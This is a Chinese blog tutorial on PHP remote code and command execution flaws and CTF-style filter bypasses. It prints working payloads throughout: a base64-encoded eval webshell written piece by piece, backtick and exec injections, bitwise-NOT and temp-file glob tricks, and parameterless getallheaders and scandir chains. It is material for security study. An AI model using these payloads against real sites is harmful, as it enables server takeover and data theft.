当前位置: 首页 > news >正文

RCE漏洞及绕过

目录

1、RCE概述

(1)命令执行函数

(2)代码执行函数

2、回调后门

3、eval和assert

限制字符长度绕过

(1)反引号或exec

(2)file_put_contents写入文件

(3)回调后门+变长参数

(4)拼接文件名

无字母数字绕过

(1)取反码

(2)临时文件

无参数读文件和RCE

(1)Apache

(2)Nginx


1、RCE概述

RCE漏洞:远程代码执行和远程命令执行

在很多Web应用中,开发人员会使用一些特殊函数,这些函数以一些字符串作为输入,功能是将输入的字符串当作代码或者命令来进行执行。当用户可以控制这些函数的输入时,就产生了RCE漏洞。

(1)命令执行函数

system(),  passthru()  -->可以直接输出结果

exec(),  shell_exec()    -->需要echo打印结果

(2)代码执行函数

eval(),   assert()    -->执行php代码

 call_user_func(),   call_user_func_array()  -->回调函数 

2、回调后门

有回调函数作为参数的函数 -->回调后门

call_user_func() ,   call_user_func_array() , array_filter() 等等

3、eval和assert

eval在php中是动态执行的方法,不能通过$_GET和$_POST来动态传递进行执行

assert是php的函数,可以动态传递进行执行

例:如有回调后门如下

call_user_func('assert',$_REQUEST['pass']);

我们在用蚁剑进行连接的时候,如果这样:

?pass=$_POST[123] 

这样连接会失败,要在前面加上eval,

 这样才能连接成功

限制字符长度绕过

<?php
$param = $_REQUEST['param']; 
if (strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false)
{eval($param);
}

(1)反引号或exec

?param=echo%20`$_GET[1]`;&1=whoami?param=exec($_GET[1]);&1=whoami

(2)file_put_contents写入文件

将一句话木马进行base64编码后一个一个写入文件

为什么必须编码?

因为像< 这些特殊符号,不能直接写入

?1=file_put_contents&param=$_GET[1](N,P,8);
?1=file_put_contents&param=$_GET[1](N,D,8);
...
/* 'PD9waHAgZXZhbCgkX1BPU1RbOV0pOw' ✲写入文件'N'中	*/?param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N

(3)回调后门+变长参数

usort(...$_GET)

usort —> 使用用户自定义的比较函数对数组中的值进行排序

用BurpSuit抓包,修改post和get值

(4)拼接文件名

<?php
$param = $_REQUEST['param'];
if ( strlen($param) < 8 )
{echo shell_exec($param);
}

 echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d> c.php

因为长度限制,将上面一句命令拆分开,通过常见文件的方式绕过

 最后再用ls -t 以创建时间的列出当前文件夹下所有文件,就拼接回去了

注意:每一个文件名后面都要加上\,因为文件名都是以换行符结尾,在ls -t列出文件的时候,\起到转义换行符的作用

无字母数字绕过

<?php
if(isset($_GET['code'])){$code = $_GET['code'];if(strlen($code)>35){die("Long.");}if(preg_match("/[A-Za-z0-9_$]+/",$code)){die("NO.");}eval($code);
}else{highlight_file(__FILE__);
}

(1)取反码

php7中,支持这样执行函数:('phpinfo')();

payload:

(~%8F%97%8F%96%91%99%90)();

将 phpinfo取反 : ~phpinfo -->urlcode编码 :%8F%97%8F%96%91%99%90

payload再次取反,就复原了,成功绕过

(2)临时文件

php上传文件机制:

第一步:将本地的文件上传到服务器的临时目录 /tmp

第二步:将上传的文件从临时目录移动到指定的目录中,再删除临时文件

思路:

(1)上传一个shell文件(虽然上传不成功,但是代码没执行完毕临时文件不会删除),将要执行的代码写入文件

(2)再通过get传参传入命令,执行临时文件

阻碍:

1、 上传的临时文件没有x执行权限, -->  . phpasgdfK (点加空格加文件名执行)

2、 不知道临时文件名,为随机生成的

临时文件名特征:随机文件名为: phpxxxxxx  ,但最后一个位大多是大写字母,只有少数部分位小写字母和数字

大写字母ASCII范围是: @-[

Linux glob 通配符:? 匹配任意一个字符,* 匹配任意多个字符

payload:

?code=?><?=`.+/???/????????[@-[]`;?>

无参数读文件和RCE

<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code']))
{    eval($_GET['code']);
}
?>

上面正则只能匹配函数,不能有参数,但是可以嵌套函数 -->  a(b(c()))

(1)Apache

apache有getallheaders()函数,获取所有header

code=eval(next(getallheaders()));user-agent:phpinfo();

用BurpSuit抓包,修改header内容,将要执行的命令写入头部

(2)Nginx

找到flag文件

1、print_r(scandir('.')); 

但是不能有 . 这个参数,所以找到输出 . d 的函数

(1)print_r(scandir(current(localeconv())));  --pos是current的别名,也可以(2)chr(46) 是字符 .chr(current(localtime(time())));

2、print_r(scandir('绝对路径'));

print_r(scandir(getcwd()));

读flag文件

show_source(array_rand(array_flip(scandir(getcwd()))));

array_flip()是交换数组的键和值,array_rand()是随机返回一个数组

相关文章:

RCE漏洞及绕过

目录 1、RCE概述 &#xff08;1&#xff09;命令执行函数 &#xff08;2&#xff09;代码执行函数 2、回调后门 3、eval和assert 限制字符长度绕过 &#xff08;1&#xff09;反引号或exec &#xff08;2&#xff09;file_put_contents写入文件 &#xff08;3&#xff…...

非对称加密算法-ECDHE

目录 1. ECDHE算法简介 密钥交换算法的重要性 ECDHE算法的基本原理 2. ECDHE与RSA算法的比较 RSA算法 ECDHE算法 比较 图形结合 2. HTTPS中的密钥交换 RSA算法的局限性 前向安全性的概念 图形结合 3. 离散对数问题 离散对数的定义 离散对数在密码学中的应用 图…...

10分钟学会Docker的安装和使用

前言 在现代软件开发中&#xff0c;Docker作为一种轻量级的容器化技术&#xff0c;已成为开发者必备的工具之一。本文将带您在10分钟内快速掌握Docker的安装和基本使用方法。 1. Docker是什么&#xff1f; Docker是一种开源的容器化平台&#xff0c;它通过将应用程序及其所有…...

江科大/江协科技 STM32学习笔记P20

文章目录 编码器接口测速定时器有关的库函数Encoder.cmain.c 编码器接口测速 编码器接口的初始化&#xff0c;第一步&#xff0c;RCC开启时钟&#xff0c;开启GPIO和定时器的时钟&#xff0c;第二步&#xff0c;配置GPIO&#xff0c;这里把PA6和PA7配置成输入模式&#xff0c;第…...

CSS 实现两边固定宽,中间自适应

0. **Flexbox 实现**&#xff1a; css复制代码.container { display: flex; } ​ .fixed { width: 200px; /* 两边固定宽度 */ } ​ .flexible { flex: 1; /* 中间自适应 */ } html复制代码<div class…...

C#图片批量下载Demo

目录 效果 项目 代码 下载 效果 C#图片批量下载 项目 代码 using Aspose.Cells; using NLog; using System; using System.Collections.Generic; using System.Data; using System.Diagnostics; using System.Drawing; using System.IO; using System.Linq; using System.…...

部署Springboot + Vue 项目到远程服务器Windows10系统的详细配置

远程服务器操作系统为Windows系统&#xff0c;Java程序环境&#xff0c;Maven环境都安装有&#xff0c;Mysql ,Redis等都有的前提下 1. mysql数据库导入&#xff0c;非常简单很好操作&#xff0c;这里省略。。比如用HeidiSql 或者Navicat 工具导入数据库 2. 后端javaSpringb…...

智驭灌区,科技领航—— 高效灌区信息化系统管理平台

在水资源日益珍贵的今天&#xff0c;传统灌区的粗放式管理模式已难以满足现代农业的发展需求。我们自豪地推出——灌区信息化系统管理平台&#xff0c;以科技赋能水利&#xff0c;引领灌溉管理进入智能化、精细化新时代。 【智能决策&#xff0c;精准灌溉】 告别传统灌溉的盲目…...

下载免费设计素材,有这7个网站就够了

7个免费设计素材网站&#xff0c;这些网站提供了大量的免费资源&#xff0c;包括图片、字体、图标、模板等&#xff0c;涵盖了多种风格和主题&#xff0c;能够满足不同设计师和创作者的需求。无论是用于个人项目还是商业用途&#xff0c;这些网站都能给你提供丰富的选择&#x…...

【漏洞复现】某赛通数据泄露防护(DLP)系统 NetSecConfigAjax SQL注入漏洞

0x01 产品简介 某赛通新一代数据泄露防护系统&#xff08;简称 DLP&#xff09;&#xff0c;以服务企事业单位进行数据资产梳理、数据安全防护为目标。系统采用平台化管理&#xff0c;将终端DLP、网络DLP、邮件DLP、存储扫描DLP、API 接口DLP 进行统一管理&#xff0c;模块化控…...

c++中的仿函数

目录 什么是仿函数&#xff1f; 仿函数的定义与使用 仿函数与普通函数的比较 实际应用场景 总结 当谈论到 C 编程中的灵活性和效率时&#xff0c;仿函数&#xff08;Functor&#xff09;是一个重要的概念。它不仅可以提供比普通函数更多的功能&#xff0c;还能够在很多情况…...

springboot整合mybatis-plus和pagehelper插件报错,

在springboot和myabtisplus版本没有冲突的情况下&#xff0c;MybatisPlusAutoConfiguration配置类没有生效&#xff0c;查看该类发现存在生效条件&#xff0c;即&#xff1a; 1.必须存在数据源的Bean对象 2.必须存在SqlSessionFactory和SqlSessionFactoryBean类&#xff08;这…...

趋动科技荣登「AIGC赋能金融创新引领者TOP20」

2023年11月28日&#xff0c;“极新AIGC行业峰会”在北京召开&#xff0c;峰会以“AI落地”为指引&#xff0c;探究AI实践与产业化。 从制造业到金融服务业&#xff0c;从医疗保健到交通运输&#xff0c;从文化娱乐到消费零售&#xff0c;智能客服、数字人直播、智能巡检机器人&…...

SOPHGO算能科技BM1684盒子占用空间满的问题解决

目录 1 问题由来 2 问题排查与解决 1 问题由来 安装软件的时候发现&#xff0c;软件根本安装不上了&#xff0c;用df -h看到根目录已经满了 rootbm1684:~# df -h Filesystem Size Used Avail Use% Mounted on overlay 5.8G 5.7G 0 100% / devtmpfs …...

Spring Boot实用小技巧 - - 第523篇

《国内最全的Spring Boot系列之一》 《国内最全的Spring Boot系列之二》 《国内最全的Spring Boot系列之三》 《国内最全的Spring Boot系列之四》 《国内最全的Spring Boot系列之五》 《国内最全的Spring Boot系列之六》 《国内最全的Spring Boot系列之七》 Spring的Sma…...

安卓App开发 篇二:Android UI和布局

文章目录 系列文章Jetpack Compose基本语法可组合函数预览布局元素基于槽位(slot-based)的布局横屏处理实现布局设计布局检查器工具Material Design使用字符串等资源列表和动画LazyColumn 和 LazyRowremember 和 mutableStateOf事件mutableStateOfremember局部更新组件(官方…...

k8s基本介绍

Kubernetes, also known as K8s, is an open source system for automating deployment, scaling, and management of containerized applications. Kubernetes&#xff0c;也称为k8&#xff0c;是一个用于自动化部署、扩展和管理容器化应用程序的开源系统。 使用go语言编写ht…...

go http启动应用程序

udpserver udpserver 是go程序需要启动的程序 #include <iostream> #include <unistd.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> #include <thread>const int BUFFER_SIZE 1024;int udpSocket; struct …...

Redis:概念、部署、配置、优化

目录 关系型数据库与非关系型数据库 关系型数据库 非关系型数据库 非关系型数据库存在的原因 Redis 概念 优点 Redis部署流程 初步设置 安装 初始化 初始化时指定的参数说明 Redis配置文件 修改监听地址 Redis远程连接 远程连接 测试服务端状态 redis-benchm…...

华为OD-D卷找座位

在一个大型体育场内举办了一场大型活动&#xff0c;由于疫情防控的需要&#xff0c;要求每位观众的必须间隔至少一个空位才允许落座。现在给出一排观众座位分布图&#xff0c;座位中存在已落座的观众&#xff0c;请计算出&#xff0c;在不移动现有观众座位的情况下&#xff0c;…...

【Axure高保真原型】引导弹窗

今天和大家中分享引导弹窗的原型模板&#xff0c;载入页面后&#xff0c;会显示引导弹窗&#xff0c;适用于引导用户使用页面&#xff0c;点击完成后&#xff0c;会显示下一个引导弹窗&#xff0c;直至最后一个引导弹窗完成后进入首页。具体效果可以点击下方视频观看或打开下方…...

vscode里如何用git

打开vs终端执行如下&#xff1a; 1 初始化 Git 仓库&#xff08;如果尚未初始化&#xff09; git init 2 添加文件到 Git 仓库 git add . 3 使用 git commit 命令来提交你的更改。确保在提交时加上一个有用的消息。 git commit -m "备注信息" 4 …...

XCTF-web-easyupload

试了试php&#xff0c;php7&#xff0c;pht&#xff0c;phtml等&#xff0c;都没有用 尝试.user.ini 抓包修改将.user.ini修改为jpg图片 在上传一个123.jpg 用蚁剑连接&#xff0c;得到flag...

<6>-MySQL表的增删查改

目录 一&#xff0c;create&#xff08;创建表&#xff09; 二&#xff0c;retrieve&#xff08;查询表&#xff09; 1&#xff0c;select列 2&#xff0c;where条件 三&#xff0c;update&#xff08;更新表&#xff09; 四&#xff0c;delete&#xff08;删除表&#xf…...

【WiFi帧结构】

文章目录 帧结构MAC头部管理帧 帧结构 Wi-Fi的帧分为三部分组成&#xff1a;MAC头部frame bodyFCS&#xff0c;其中MAC是固定格式的&#xff0c;frame body是可变长度。 MAC头部有frame control&#xff0c;duration&#xff0c;address1&#xff0c;address2&#xff0c;addre…...

Qt Widget类解析与代码注释

#include "widget.h" #include "ui_widget.h"Widget::Widget(QWidget *parent): QWidget(parent), ui(new Ui::Widget) {ui->setupUi(this); }Widget::~Widget() {delete ui; }//解释这串代码&#xff0c;写上注释 当然可以&#xff01;这段代码是 Qt …...

《用户共鸣指数(E)驱动品牌大模型种草:如何抢占大模型搜索结果情感高地》

在注意力分散、内容高度同质化的时代&#xff0c;情感连接已成为品牌破圈的关键通道。我们在服务大量品牌客户的过程中发现&#xff0c;消费者对内容的“有感”程度&#xff0c;正日益成为影响品牌传播效率与转化率的核心变量。在生成式AI驱动的内容生成与推荐环境中&#xff0…...

(二)原型模式

原型的功能是将一个已经存在的对象作为源目标,其余对象都是通过这个源目标创建。发挥复制的作用就是原型模式的核心思想。 一、源型模式的定义 原型模式是指第二次创建对象可以通过复制已经存在的原型对象来实现,忽略对象创建过程中的其它细节。 📌 核心特点: 避免重复初…...

Java多线程实现之Callable接口深度解析

Java多线程实现之Callable接口深度解析 一、Callable接口概述1.1 接口定义1.2 与Runnable接口的对比1.3 Future接口与FutureTask类 二、Callable接口的基本使用方法2.1 传统方式实现Callable接口2.2 使用Lambda表达式简化Callable实现2.3 使用FutureTask类执行Callable任务 三、…...

【Oracle】分区表

个人主页&#xff1a;Guiat 归属专栏&#xff1a;Oracle 文章目录 1. 分区表基础概述1.1 分区表的概念与优势1.2 分区类型概览1.3 分区表的工作原理 2. 范围分区 (RANGE Partitioning)2.1 基础范围分区2.1.1 按日期范围分区2.1.2 按数值范围分区 2.2 间隔分区 (INTERVAL Partit…...